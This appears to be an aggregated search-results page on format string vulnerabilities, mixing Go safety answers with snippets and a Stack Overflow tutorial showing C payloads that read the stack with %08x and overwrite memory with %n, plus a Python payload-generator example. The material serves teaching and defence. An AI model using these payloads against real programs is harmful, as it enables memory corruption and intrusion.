Many of the memory issues in C/C++ are related to null termination and buffer overflows. Golang lacks both of those. Strings are managed resources. Baring a compiler bug, it's not possible to terminate a string in such a way as to escape into the stack.

Take your example, as the example. Due to the variadic nature of the function, having a lot of input handlers with no handlers does not impact the code. As far as printf knows, the format string needs nothing replaced. Since you can't pass in anything destructive, even if your example took a dynamic value for ' a ...interface{}', you're protected by the compiler's string protecting code.

Answer from Virmundi on Stack Overflow
Top answer
1 of 2
3

Many of the memory issues in C/C++ are related to null termination and buffer overflows. Golang lacks both of those. Strings are managed resources. Baring a compiler bug, it's not possible to terminate a string in such a way as to escape into the stack.

Take your example, as the example. Due to the variadic nature of the function, having a lot of input handlers with no handlers does not impact the code. As far as printf knows, the format string needs nothing replaced. Since you can't pass in anything destructive, even if your example took a dynamic value for ' a ...interface{}', you're protected by the compiler's string protecting code.

2 of 2
1

tl;dr: Don't print untrusted data, escape it first. If in doubt or a hurry, use %q instead of %s.

Go's string formatting methods are, indeed, memory-safe, and the specific class of vulnerabilities you're worried about and which were so prevalent in C are not applicable.

However, it is not generally safe in any language to output untrusted, unsanitized input via any means without careful consideration. One well-known example of why is cross-site scripting. Less well-known than XSS attacks, however, are terminal escape sequence attacks.

Common terminals respond to a wide variety of escape sequences that can potentially do nasty things directly, or to help exploit another vulnerability. Attackers can include these sequences in messages to a targeted system - say, in the URL of a request to a webserver - and await an admin cating the logs or similar. This can also be used to hide information - including backspace sequences effectively hides whatever came before from view in a terminal.

  • The quickest option is to simply use %q instead of %s. This outputs the string as a Go string literal, suitable for use in Go source code. This is convenient and safe for printing, but if you're trying to match a specific format, may not be ideal. (strconv.Quote(s string) string will also perform the same operation directly).

  • This answer to another question has a more involved but easily customized option using strings.Map, however in the given form it removes all non-printable characters rather than escaping them.

One way or another, sanitize your output. You will save someone a lot of pain later, possibly yourself.

package main

import (
    "fmt"
    "strconv"
)

func main() {
    s := "a string with some control\x08\x08\x08\x08\x08\x08\x08hidden characters"

    // Prints with the control characters intact. Terminal output:
    // a string with some hidden characters
    fmt.Printf("%s\n", s)

    // Prints as Go string literal. Terminal output:
    // "a string with some control\b\b\b\b\b\b\bhidden characters"
    fmt.Printf("%q\n", s)

    // Prints as Go string literal, but without surrounding double-quotes.
    // Terminal output:
    // a string with some control\b\b\b\b\b\b\bhidden characters
    x := strconv.Quote(s)
    fmt.Printf("%s\n", x[1:len(x)-1])
}
🌐
GitHub
github.com › topics › format-string-attack
format-string-attack · GitHub Topics · GitHub
December 8, 2017 - Performing an exploit of Format String Vulnerability to leak information. Given a C compiled vulnerable software, with the help of reverse engineering and debugging; the attack had to be conducted to obtain dumb and smart leak of information.
🌐
Sourcery
sourcery.ai › vulnerabilities › go-lang-security-audit-database-string-formatted-query
SQL Injection via String Formatting in Go | Security Vulnerability Database | Sourcery
The vulnerable code uses string concatenation and fmt.Sprintf() to build SQL queries, allowing attackers to inject malicious SQL. The secure version uses parameterized queries with placeholders ($1, $2) that treat user input as data rather than ...
🌐
CVE Details
cvedetails.com › vulnerability-list › vendor_id-14185 › Golang.html
Golang : Security vulnerabilities, CVEs
Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime.
🌐
Reddit
reddit.com › r/golang › bad practice to have a string with a format specifier?
r/golang on Reddit: Bad practice to have a string with a format specifier?
February 28, 2023 -

I currently have a string like:

str := "Hello %s"

Later on, I'll use fmt.Sprintf() with this string to fill the format specifier, like so:

result := fmt.Sprintf(hello, "World")

I've never seen strings with format specifiers in them that weren't literals given to functions like Sprintf(). Is this generally bad practice? Or is it fine with the appropriate context?

🌐
GitHub
github.com › golang › vulndb › blob › master › doc › format.md
vulndb/doc/format.md at master · golang/vulndb
A short (<=100 characters) textual description of the vulnerability, usually of the form "PROBLEM in MODULE(s)", e.g: summary: "Man-in-the-middle attack in golang.org/x/crypto/ssh. To allow for easy visual differentiation, each report must have a unique summary. ... A textual description of the vulnerability and its impact. Should be wrapped to 80 columns. Does not use Markdown formatting.
Author   golang
🌐
Vickieli
vickieli.dev › binary exploitation › format-string-vulnerabilities
Format String Vulnerabilities - Vickie Li’s Security Blog
August 9, 2020 - Instead, pass user input as function arguments that replace format specifiers. ... And as an extra security measure, user input should always be sanitized and rid of dangerous characters. Seemingly harmless format functions can become a major source of vulnerabilities if not used correctly.
🌐
Google Groups
groups.google.com › d › msg › golang-nuts › Jd9tlNc6jUE › 6dLasvOs4nIJ
Secure Go binaries
April 30, 2012 - My claim is that Go is a different language than C. When you make one of these mistakes - read into a fixed-size buffer, write too much memory, use the wrong format string - in Go, that mistake does not lead to arbitrary memory corruption, and thus it cannot be leveraged into an exploitable ...
Find elsewhere
🌐
Exploit-DB
exploit-db.com › papers › 13239
Format Strings (Gotfault Security Community)
March 9, 2006 - Address to be overwritten : 0x08049748 Address to return : 0xbffffc2b Offset : 6 Let's run the builder to show us the format string against %n and %hn way. [xgc@knowledge:~/tools/formater]$ ./formater -n -l 0x08049748 -r 0xbffffc2b -o 6 -b 0 (3x%6$nF5x%7$n%9x%8$n2x%9$n [xgc@knowledge:~/tools/formater]$ ./formater -h -l 0x08049748 -r 0xbffffc2b -o 6 -b 0 %.64547u%6$hn%.50132u%7$hn [xgc@knowledge:~/tools/formater]$ Now let's run the vulnerable program with the builder as argument expected.
🌐
Datadog
docs.datadoghq.com › security › code_security › static_analysis › static_analysis_rules › go-best-practices › simplify-sprintf-with-string
fmt.Sprintf("%s", var) should not be used if var is a string
Type safety: When using fmt.Sprintf(), the compiler cannot check the correctness of the format specifiers and arguments. This can potentially lead to runtime errors or incorrect output if the format specifiers or arguments do not match.
🌐
GitHub
github.com › Inndy › formatstring-exploit
GitHub - Inndy/formatstring-exploit: Dead simple format string exploit payload generator
from fmtstr import FormatString fmt = FormatString(offset=6, written=8, bits=64) fmt[0x601040] = 'DEADBEEF' payload, sig = fmt.build() def dump(x): try: from hexdump import hexdump hexdump(x) except ImportError: import binascii, textwrap print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32))) dump(payload)
Starred by 24 users
Forked by 6 users
Languages   Python 100.0% | Python 100.0%
🌐
YouTube
youtube.com › watch
Exploiting Format String vulnerabilities tutorial - pwn106
Enjoy the videos and music you love, upload original content, and share it all with friends, family, and the world on YouTube.
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The printf in the first line will not interpret the “%s%s%s%s%s%s” in the input string, and the output will be: “Hello World %s%s%s%s%s%s” · The line printf(argv[1]); in the example is vulnerable, if you compile the program and run it:
🌐
Medium
infosecwriteups.com › exploiting-format-string-vulnerability-97e3d588da1b
EXPLOITING FORMAT STRING VULNERABILITY | by AidenPearce369 | InfoSec Write-ups
January 18, 2024 - A Format String attack can occur when an input string data is processed by a vulnerable function so that attacker can pass the formats to exploit the stack values with the help of format string functions/printf() family functions
🌐
Tripwire
tripwire.com › home › blog › vert vuln school: format string attacks 101
VERT Vuln School: Format String Attacks 101
March 22, 2015 - By tweaking our attack string to ... ... The fix for this vulnerability is pretty simple. User input data should not be passed to printf() as the format string....
🌐
Go Packages
pkg.go.dev › fmt
fmt package - fmt - Go Packages
U+0078 'x' if the character is printable for %U (%#U) ' ' (space) leave a space for elided sign in numbers (% d); put spaces between bytes printing strings or slices in hex (% x, % X) '0' pad with leading zeros rather than spaces; for numbers, this moves the padding after the sign · Flags are ignored by verbs that do not expect them. For example there is no alternate decimal format, so %#d and %d behave identically.
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.